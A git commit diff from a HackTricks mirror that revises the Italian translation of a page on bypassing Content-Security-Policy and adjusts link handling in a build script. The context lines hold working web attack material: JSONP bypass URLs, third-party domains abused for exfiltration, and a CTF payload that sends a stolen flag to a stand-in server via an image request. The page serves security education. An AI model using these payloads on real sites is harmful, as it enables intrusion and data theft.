mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/external-recon-meth
This commit is contained in:
Translator
parent
250de81212
commit
932e2c3156
@ -78,6 +78,9 @@ def ref(matchobj):
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
if href.endswith("/README.md"):
|
||||
href = href.replace("/README.md", "/index.html")
|
||||
|
||||
template = f"""<a class="content_ref" href="{href}"><span class="content_ref_label">{title}</span></a>"""
|
||||
|
||||
# translate_table = str.maketrans({"\"":"\\\"","\n":"\\n"})
|
||||
|
||||
@ -57,7 +57,7 @@ object-src 'none';
|
||||
- **sandbox**: Applica restrizioni simili all'attributo sandbox di un `<iframe>`.
|
||||
- **report-to**: Specifica un gruppo a cui verrà inviato un rapporto se la politica viene violata.
|
||||
- **worker-src**: Specifica fonti valide per script Worker, SharedWorker o ServiceWorker.
|
||||
- **prefetch-src**: Specifica fonti valide per le risorse che verranno recuperate o pre-recuperate.
|
||||
- **prefetch-src**: Specifica fonti valide per le risorse che verranno recuperate o prelevate.
|
||||
- **navigate-to**: Limita gli URL a cui un documento può navigare con qualsiasi mezzo (a, modulo, window.location, window.open, ecc.)
|
||||
|
||||
### Fonti
|
||||
@ -153,7 +153,7 @@ Payload funzionanti:
|
||||
```yaml
|
||||
Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
||||
```
|
||||
Se puoi caricare un file JS, puoi bypassare questo CSP:
|
||||
Se puoi caricare un file JS, puoi eludere questo CSP:
|
||||
|
||||
Payload funzionante:
|
||||
```markup
|
||||
@ -167,7 +167,7 @@ Da qui, se trovi un XSS e un caricamento di file, e riesci a trovare un **estens
|
||||
|
||||
### Form-action
|
||||
|
||||
Se non è possibile iniettare JS, potresti comunque provare a esfiltrare, ad esempio, credenziali **iniettando un'azione del modulo** (e magari aspettandoti che i gestori di password compilino automaticamente le password). Puoi trovare un [**esempio in questo rapporto**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Inoltre, nota che `default-src` non copre le azioni del modulo.
|
||||
Se non è possibile iniettare JS, potresti comunque provare a esfiltrare, ad esempio, credenziali **iniettando un'azione del modulo** (e magari aspettandoti che i gestori di password compilino automaticamente le password). Puoi trovare un [**esempio in questo report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Inoltre, nota che `default-src` non copre le azioni del modulo.
|
||||
|
||||
### Endpoint di terze parti + ('unsafe-eval')
|
||||
|
||||
@ -286,22 +286,22 @@ https://www.youtube.com/oembed?callback=alert;
|
||||
```
|
||||
[**JSONBee**](https://github.com/zigoo0/JSONBee) **contiene endpoint JSONP pronti all'uso per bypassare la CSP di diversi siti web.**
|
||||
|
||||
La stessa vulnerabilità si verificherà se l'**endpoint fidato contiene un Open Redirect** perché se l'endpoint iniziale è fidato, i redirect sono fidati.
|
||||
La stessa vulnerabilità si verificherà se l'**endpoint di fiducia contiene un Open Redirect** perché se l'endpoint iniziale è fidato, i redirect sono fidati.
|
||||
|
||||
### Abusi di Terze Parti
|
||||
|
||||
Come descritto nel [seguente post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), ci sono molti domini di terze parti, che potrebbero essere consentiti da qualche parte nella CSP, che possono essere abusati per esfiltrare dati o eseguire codice JavaScript. Alcuni di questi terzi sono:
|
||||
|
||||
| Entità | Dominio Consentito | Capacità |
|
||||
| ----------------- | -------------------------------------------- | ------------ |
|
||||
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
|
||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
|
||||
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
|
||||
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
|
||||
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
|
||||
| Entità | Dominio Consentito | Capacità |
|
||||
| ----------------- | ------------------------------------------- | ------------ |
|
||||
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
|
||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
|
||||
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
|
||||
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
|
||||
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
|
||||
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
|
||||
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
|
||||
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
|
||||
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
|
||||
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
|
||||
|
||||
Se trovi uno dei domini consentiti nella CSP del tuo obiettivo, è probabile che tu possa bypassare la CSP registrandoti sul servizio di terze parti e, o esfiltrare dati a quel servizio o eseguire codice.
|
||||
|
||||
@ -345,7 +345,7 @@ Questo funziona perché per il browser stai caricando un file chiamato `..%2fang
|
||||
|
||||
∑, lo decodificheranno, richiedendo effettivamente `https://example.com/scripts/react/../angular/angular.js`, che è equivalente a `https://example.com/scripts/angular/angular.js`.
|
||||
|
||||
**Sfruttando questa incoerenza nell'interpretazione degli URL tra il browser e il server, le regole del percorso possono essere bypassate**.
|
||||
Sfruttando **questa incoerenza nell'interpretazione degli URL tra il browser e il server, le regole del percorso possono essere eluse**.
|
||||
|
||||
La soluzione è non trattare `%2f` come `/` sul lato server, garantendo un'interpretazione coerente tra il browser e il server per evitare questo problema.
|
||||
|
||||
@ -421,13 +421,13 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
|
||||
```
|
||||
Se CSP è impostato su `https://www.google.com/a/b/c/d`, poiché il percorso è considerato, sia gli script `/test` che `/a/test` saranno bloccati da CSP.
|
||||
|
||||
Tuttavia, il finale `http://localhost:5555/301` sarà **reindirizzato sul lato server a `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Poiché si tratta di un reindirizzamento, il **percorso non è considerato**, e lo **script può essere caricato**, eludendo così la restrizione del percorso.
|
||||
Tuttavia, il finale `http://localhost:5555/301` sarà **reindirizzato sul lato server a `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Poiché si tratta di un reindirizzamento, il **percorso non è considerato**, e lo **script può essere caricato**, bypassando così la restrizione del percorso.
|
||||
|
||||
Con questo reindirizzamento, anche se il percorso è specificato completamente, sarà comunque eluso.
|
||||
Con questo reindirizzamento, anche se il percorso è specificato completamente, sarà comunque bypassato.
|
||||
|
||||
Pertanto, la soluzione migliore è garantire che il sito web non abbia vulnerabilità di reindirizzamento aperto e che non ci siano domini che possano essere sfruttati nelle regole CSP.
|
||||
|
||||
### Eludere CSP con markup pendente
|
||||
### Bypassare CSP con markup pendente
|
||||
|
||||
Leggi [come qui](../dangling-markup-html-scriptless-injection/index.html).
|
||||
|
||||
@ -437,7 +437,7 @@ default-src 'self' 'unsafe-inline'; img-src *;
|
||||
```
|
||||
`'unsafe-inline'` significa che puoi eseguire qualsiasi script all'interno del codice (XSS può eseguire codice) e `img-src *` significa che puoi utilizzare nella pagina web qualsiasi immagine da qualsiasi risorsa.
|
||||
|
||||
Puoi bypassare questo CSP esfiltrando i dati tramite immagini (in questa occasione l'XSS sfrutta un CSRF dove una pagina accessibile dal bot contiene un SQLi, ed estrae il flag tramite un'immagine):
|
||||
Puoi bypassare questo CSP esfiltrando i dati tramite immagini (in questa occasione l'XSS sfrutta un CSRF dove una pagina accessibile dal bot contiene un SQLi, e estrae il flag tramite un'immagine):
|
||||
```javascript
|
||||
<script>
|
||||
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
|
||||
@ -446,7 +446,7 @@ Image().src='http://PLAYER_SERVER/?'+_)
|
||||
```
|
||||
Da: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
||||
|
||||
Potresti anche abusare di questa configurazione per **caricare codice javascript inserito all'interno di un'immagine**. Se, ad esempio, la pagina consente di caricare immagini da Twitter. Potresti **creare** un **immagine speciale**, **caricarla** su Twitter e abusare del "**unsafe-inline**" per **eseguire** un codice JS (come un normale XSS) che **caricherà** l'**immagine**, **estrarrà** il **JS** da essa e **eseguirà** **esso**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
Potresti anche abusare di questa configurazione per **caricare codice javascript inserito all'interno di un'immagine**. Se, ad esempio, la pagina consente di caricare immagini da Twitter. Potresti **creare** un **immagine speciale**, **caricarla** su Twitter e abusare dell' "**unsafe-inline**" per **eseguire** un codice JS (come un normale XSS) che **caricherà** l' **immagine**, **estrarrà** il **JS** da essa e **eseguirà** **esso**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
|
||||
### Con i Service Workers
|
||||
|
||||
@ -478,7 +478,7 @@ Esempio: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3
|
||||
### img-src \*; via XSS (iframe) - Attacco temporale
|
||||
|
||||
Nota l'assenza della direttiva `'unsafe-inline'`\
|
||||
Questa volta puoi far **caricare** una pagina sotto il **tuo controllo** tramite **XSS** con un `<iframe`. Questa volta farai accedere la vittima alla pagina da cui vuoi estrarre informazioni (**CSRF**). Non puoi accedere al contenuto della pagina, ma se in qualche modo puoi **controllare il tempo necessario per caricare la pagina** puoi estrarre le informazioni di cui hai bisogno.
|
||||
Questa volta puoi far **caricare** alla vittima una pagina sotto **il tuo controllo** tramite **XSS** con un `<iframe`. Questa volta farai accedere la vittima alla pagina da cui vuoi estrarre informazioni (**CSRF**). Non puoi accedere al contenuto della pagina, ma se in qualche modo puoi **controllare il tempo necessario per caricare la pagina** puoi estrarre le informazioni di cui hai bisogno.
|
||||
|
||||
Questa volta una **flag** verrà estratta, ogni volta che un **carattere viene indovinato correttamente** tramite SQLi la **risposta** richiede **più tempo** a causa della funzione di sleep. Poi, sarai in grado di estrarre la flag:
|
||||
```html
|
||||
@ -546,18 +546,18 @@ Questo attacco implicherebbe un po' di ingegneria sociale in cui l'attaccante **
|
||||
|
||||
Per ulteriori informazioni [**controlla il rapporto originale qui**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
||||
|
||||
### Bypass CSP limitando CSP
|
||||
### CSP bypass by restricting CSP
|
||||
|
||||
In [**questo writeup CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP viene bypassato iniettando all'interno di un iframe consentito un CSP più restrittivo che non consentiva di caricare un file JS specifico che, poi, tramite **prototype pollution** o **dom clobbering** permetteva di **abusare di uno script diverso per caricare uno script arbitrario**.
|
||||
In [**questo writeup CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP viene bypassato iniettando all'interno di un iframe consentito un CSP più restrittivo che non consentiva di caricare un file JS specifico che, poi, tramite **prototype pollution** o **dom clobbering** permetteva di **abusare di un altro script per caricare uno script arbitrario**.
|
||||
|
||||
Puoi **limitare un CSP di un Iframe** con l'attributo **`csp`**:
|
||||
Puoi **ristretta un CSP di un Iframe** con l'attributo **`csp`**:
|
||||
```html
|
||||
<iframe
|
||||
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
|
||||
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
|
||||
```
|
||||
In [**questo CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), è stato possibile tramite **HTML injection** **ristretta** ulteriormente una **CSP** in modo che uno script che preveniva CSTI fosse disabilitato e quindi la **vulnerabilità è diventata sfruttabile.**\
|
||||
La CSP può essere resa più restrittiva utilizzando **HTML meta tags** e gli script inline possono essere disabilitati **rimuovendo** l'**entry** che consente il loro **nonce** e **abilitando script inline specifici tramite sha**:
|
||||
La CSP può essere resa più restrittiva utilizzando **HTML meta tags** e gli script inline possono disabilitare **rimuovendo** l'**entry** che consente il loro **nonce** e **abilitare script inline specifici tramite sha**:
|
||||
```html
|
||||
<meta
|
||||
http-equiv="Content-Security-Policy"
|
||||
@ -568,7 +568,7 @@ content="script-src 'self'
|
||||
```
|
||||
### JS exfiltration with Content-Security-Policy-Report-Only
|
||||
|
||||
Se riesci a far sì che il server risponda con l'intestazione **`Content-Security-Policy-Report-Only`** con un **valore controllato da te** (forse a causa di un CRLF), potresti farlo puntare al tuo server e se **avvolgi** il **contenuto JS** che desideri esfiltrare con **`<script>`** e poiché è altamente probabile che `unsafe-inline` non sia consentito dal CSP, questo **attiverà un errore CSP** e parte dello script (contenente le informazioni sensibili) sarà inviata al server da `Content-Security-Policy-Report-Only`.
|
||||
Se riesci a far sì che il server risponda con l'intestazione **`Content-Security-Policy-Report-Only`** con un **valore controllato da te** (forse a causa di un CRLF), potresti farlo puntare al tuo server e se **avvolgi** il **contenuto JS** che desideri esfiltrare con **`<script>`** e poiché è altamente probabile che `unsafe-inline` non sia consentito dalla CSP, questo **attiverà un errore CSP** e parte dello script (contenente le informazioni sensibili) sarà inviata al server da `Content-Security-Policy-Report-Only`.
|
||||
|
||||
Per un esempio [**controlla questo CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
||||
|
||||
@ -580,10 +580,10 @@ document.querySelector("DIV").innerHTML =
|
||||
### Leaking Information with CSP and Iframe
|
||||
|
||||
- Un `iframe` viene creato che punta a un URL (chiamiamolo `https://example.redirect.com`) che è permesso da CSP.
|
||||
- Questo URL poi reindirizza a un URL segreto (ad es., `https://usersecret.example2.com`) che **non è consentito** da CSP.
|
||||
- Questo URL reindirizza quindi a un URL segreto (ad esempio, `https://usersecret.example2.com`) che **non è consentito** da CSP.
|
||||
- Ascoltando l'evento `securitypolicyviolation`, si può catturare la proprietà `blockedURI`. Questa proprietà rivela il dominio dell'URI bloccato, facendo trapelare il dominio segreto a cui l'URL iniziale ha reindirizzato.
|
||||
|
||||
È interessante notare che browser come Chrome e Firefox hanno comportamenti diversi nella gestione degli iframe rispetto a CSP, portando a potenziali perdite di informazioni sensibili a causa di comportamenti non definiti.
|
||||
È interessante notare che i browser come Chrome e Firefox hanno comportamenti diversi nella gestione degli iframe rispetto a CSP, portando a una potenziale fuga di informazioni sensibili a causa di comportamenti non definiti.
|
||||
|
||||
Un'altra tecnica coinvolge lo sfruttamento della CSP stessa per dedurre il sottodominio segreto. Questo metodo si basa su un algoritmo di ricerca binaria e sull'aggiustamento della CSP per includere domini specifici che sono deliberatamente bloccati. Ad esempio, se il sottodominio segreto è composto da caratteri sconosciuti, puoi testare iterativamente diversi sottodomini modificando la direttiva CSP per bloccare o consentire questi sottodomini. Ecco un frammento che mostra come la CSP potrebbe essere configurata per facilitare questo metodo:
|
||||
```markdown
|
||||
@ -599,7 +599,7 @@ Trick da [**qui**](https://ctftime.org/writeup/29310).
|
||||
|
||||
### Errori PHP quando ci sono troppi parametri
|
||||
|
||||
Secondo l'[**ultima tecnica commentata in questo video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), inviare troppi parametri (1001 parametri GET anche se puoi farlo anche con parametri POST e più di 20 file). Qualsiasi **`header()`** definito nel codice web PHP **non verrà inviato** a causa dell'errore che questo genererà.
|
||||
Secondo la [**ultima tecnica commentata in questo video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), inviare troppi parametri (1001 parametri GET anche se puoi farlo anche con parametri POST e più di 20 file). Qualsiasi **`header()`** definito nel codice web PHP **non verrà inviato** a causa dell'errore che questo genererà.
|
||||
|
||||
### Sovraccarico del buffer di risposta PHP
|
||||
|
||||
@ -610,7 +610,7 @@ Idea da [**questo writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Bab
|
||||
|
||||
### Riscrivere la pagina di errore
|
||||
|
||||
Da [**questo writeup**](https://blog.ssrf.kr/69) sembra che sia stato possibile bypassare una protezione CSP caricando una pagina di errore (potenzialmente senza CSP) e riscrivendo il suo contenuto.
|
||||
Da [**questo writeup**](https://blog.ssrf.kr/69) sembra che fosse possibile bypassare una protezione CSP caricando una pagina di errore (potenzialmente senza CSP) e riscrivendo il suo contenuto.
|
||||
```javascript
|
||||
a = window.open("/" + "x".repeat(4100))
|
||||
setTimeout(function () {
|
||||
@ -625,9 +625,9 @@ SOME è una tecnica che sfrutta un XSS (o un XSS altamente limitato) **in un end
|
||||
../xss-cross-site-scripting/some-same-origin-method-execution.md
|
||||
{{#endref}}
|
||||
|
||||
Inoltre, **wordpress** ha un **endpoint JSONP** in `/wp-json/wp/v2/users/1?_jsonp=data` che **riflette** i **dati** inviati nell'output (con la limitazione di solo lettere, numeri e punti).
|
||||
Inoltre, **wordpress** ha un endpoint **JSONP** in `/wp-json/wp/v2/users/1?_jsonp=data` che **riflette** i **dati** inviati nell'output (con la limitazione di solo lettere, numeri e punti).
|
||||
|
||||
Un attaccante può sfruttare quell'endpoint per **generare un attacco SOME** contro WordPress e **incorporarlo** all'interno di `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` nota che questo **script** sarà **caricato** perché è **consentito da 'self'**. Inoltre, e poiché WordPress è installato, un attaccante potrebbe sfruttare l'**attacco SOME** attraverso l'**endpoint callback vulnerabile** che **bypassa il CSP** per dare più privilegi a un utente, installare un nuovo plugin...\
|
||||
Un attaccante può sfruttare quell'endpoint per **generare un attacco SOME** contro WordPress e **incorporarlo** all'interno di `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` nota che questo **script** sarà **caricato** perché è **consentito da 'self'**. Inoltre, e poiché WordPress è installato, un attaccante potrebbe sfruttare l'**attacco SOME** attraverso l'endpoint **callback vulnerabile** che **bypassa il CSP** per dare più privilegi a un utente, installare un nuovo plugin...\
|
||||
Per ulteriori informazioni su come eseguire questo attacco, controlla [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||||
|
||||
## CSP Exfiltration Bypasses
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user